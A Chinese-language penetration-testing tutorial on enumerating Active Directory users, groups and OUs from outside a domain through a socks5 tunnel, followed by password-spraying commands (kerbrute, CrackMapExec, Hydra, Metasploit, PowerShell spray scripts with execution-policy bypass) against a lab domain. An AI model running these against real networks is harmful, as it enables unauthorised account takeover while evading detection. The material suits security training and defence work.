前言
当我们与目标内网建立了socks5隧道后,就可以从域外对域内机器进行信息搜集了,很多工具不用上传到目标机器,也就不易被AV检测到,但是有可能会被一些流量检测设备发现有大量socks5流量。
接下来介绍下如何通过域外对域内进⾏更深的信息搜集:枚举域⽤户、查看域内⽤户、查看域内组、查看域内机器列表…
LDAP
LDAP(轻量⽬录访问协议),是⼀种⽤来查询与更新 Active Directory 的⽬录服务通信协议。AD 域服务利⽤ LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便⽤它来访问 AD 内的对象,默认端⼝ 389。
LDAP 数据的组织方式
LDAP名称路径如下(借用师傅的图):
标识名称(distinguished Name,DN):它是对象在 Active Directory 内的完整路径,DN 有三个属性,分别
是 CN,OU,DC
- DC (Domain Component):域名组件,例如test.lab中的test和lab
- CN (Common Name):通⽤名称,⼀般为⽤户名或计算机名;
- OU (Organizational Unit):*组织单位;也叫容器,可以理解为一个部门
例如,如上⽤户账户,其 DN 为:
CN=yuwin2012,OU=财务部,OU=readteam,DC=test,DC=lab
此DN表示yuwin2012存储在test.lab\readteam\财务部 路径中
域内用户枚举
正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。
枚举原理
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。
在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样
三种状态的错误代码分别为:
- KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在)
- KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(禁用 )
- KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(不存在)
当发送一个存在的用户yuwin7
编辑
返回“KRB5DC_ERR_PREAUTH_REQUIRED”,并携带"e-data"数据
当用户不存在返回“KRB5DC_ERR_C_PRINCIPAL_UNKNOWN”,不携带"e-data"数据
所以,根据AS的返回包来对域用户进行枚举
kerbrute工具枚举
先准备一个用户字典users.txt,用于对域内用户进行枚举
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
kerbrute.exe userenum --dc 192.168.52.163 -d sentiment.com user.txt
搜集域内各类信息
ADfind
ADfind 是⼀款 C++编写的⼯具,是⼀款⾮常知名的⼀款域内信息查询⼯具
获取域内用户信息
adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b dc=sentiment,dc=com -f "objectcategory=user"
-u、-up
分别代表域用户的用户名、密码,所以当知道域内任一用户的账号和密码后,便可获取其他域内用户信息
获取域内⽤户组列表信息
adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b dc=sentiment,dc=com -f "objectcategory=group"
获取指定域内组成员列表信息
获取sentiment.com\Domain Controllers 组中的成员信息
adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b "OU=Domain Controllers,DC=sentiment,DC=com" member
获取域内完整 OU 列表信息
adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -default -f "objectcategory=organizationalUnit" name whenCreated
csvde
Csvde 是 Windwos server 2008 的内置命令⾏⼯具,位于 %windir%/ system32 ⽂件夹中。如果安装了AD 或者Active Directory轻型⽬录服务(AD LDS)服务器⻆⾊,则此功能可⽤。
获取域内详细信息
csvde -setspn sentiment -f sentiment.all.csv
#-f 文件名
导出后的文件有很多详细信息
获取域内所有用户的详细属性信息(DC, oU,CN,用户,邮箱,手机号,所在部门,用户描述信息等)
csvde -s 192.168.52.163 -a sentiment\admin admin -l "cn,objectclass,description,mail,title,department,telephoneNumber,name,homeDirectory,scriptPath,operatinqSystem,operatingSystemServicePack,dnsHostName" -r "(&(objectcategory=person)(objectClass=user))" -d "dc=sentiment,dc=com" -u -f sentiment.csv
ADExplorer
输入域控ip,以及域内任意用户即可登录查看域内信息
总结
在内⽹渗透中,有些苛刻的条件不允许我们上传⽂件到⽬标机器,但是⼿动去执⾏命令搜集信息 效率⼜不⾼,所以我们就需要从域外对域内进⾏信息搜集,通过 socks 隧道使⽤域外的⼯具对域内进⾏信息搜集,这样也能造成⽂件不落地,也⽅便,以上很多⼯具其原理就是通过 LDAP 的 389 端⼝进⾏ LDAP 查询。
密码喷洒攻击
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
获取了域用户后,进行密码喷洒
喷洒原理
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED
kerbrute
使用单个密码依次去碰撞n个用户名
kerbrute.exe passwordspray --dc 192.168.52.163 -d sentiment.com user.txt admin -v
#admin为要碰撞的密码
crack.exe
crack 是⼀款⾮常好⽤的密码喷洒⼯具,并且速度快,⽀持对⼀个 C、B 段进⾏基于 smb 密码喷洒。
基于字典密码喷洒
crack.exe -P password.txt -U user.txt -i 192.168.52.163 -s smb
基于单个密码喷洒
crack.exe -P admin -U user.txt -i 192.168.52.163 -s smb
Invoke-DomainPasswordSprayOutsideTheDomain
下载地址: https://github.com/3gstudent/Homework-of-Powershell
powershell -exec bypass
Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -UserList user.txt -Domain "192.168.52.163/DC=sentiment,DC=com" -Password admin
MSF
首先要配置代理
setg proxies socks5:192.168.137.54:7777
setg ReverseAllowProxy true
使用模块
use scanner/smb/smb_login
可以配置文件字典爆破
set user_file /root/users.txt
set pass_file /root/pass.txt
域爆破
set smbdomain redteam
工作组爆破
set smbdomain .
超级弱口令工具
超级弱⼝令检查⼯具是⼀款Windows平台的弱⼝令审计⼯具,⽀持批量多线程检查,可快速发现弱密码、弱⼝令账号,密码⽀持和⽤户名结合进⾏检查,⼤⼤提⾼成功率,⽀持⾃定义服务端⼝和字典。 ⼯具采⽤C#开发,需要安装.NET Framework 4.0,⼯具⽬前⽀持SSH、 RDP、 SMB、 MySQL、 SQLServer、 Oracle、 FTP、 MongoDB、Memcached、 PostgreSQL、 Telnet、 SMTP、 SMTP_SSL、 POP3、 POP3_SSL、 IMAP、 IMAP_SSL、 SVN、VNC、 Redis等服务的弱⼝令检查⼯作。
下载地址: https://github.com/shack2/SNETCracker
只扫出了一台主机的密码
CrackMapExec
CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。
下载地址: https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb 192.168.52.163 -u user.txt -p 'admin' --continue-on-success
Hydra
https://github.com/scu-igroup/ssh-scanner
Hydra 是最著名的暴⼒破解⼯具之⼀,我将在这⾥针对 SMB 协议,但这款⼯具⼏乎可以使⽤任何其他协议来完成密码喷洒
hydra -L user.txt -p admin 192.168.52.190 smb
DomainPasswordSpray
powershell -exec bypass
Import-Module .\DomainPasswordSpray.ps1
#单密码喷洒
Invoke-DomainPasswordSpray -password ad
#字典爆破
Invoke-DomainPasswordSpray -UserList user.txt -Domain sentiment.com -PasswordList password.txt -OutFile result.txt
- UserList:用户字典
- Password:单个密码
- PasswordList:密码字典
- OutFile:输出的文件名
- Domain:要爆破的域
参考
Kerberos认证流程数据包分析 - Yangsir34 - 博客园 (cnblogs.com)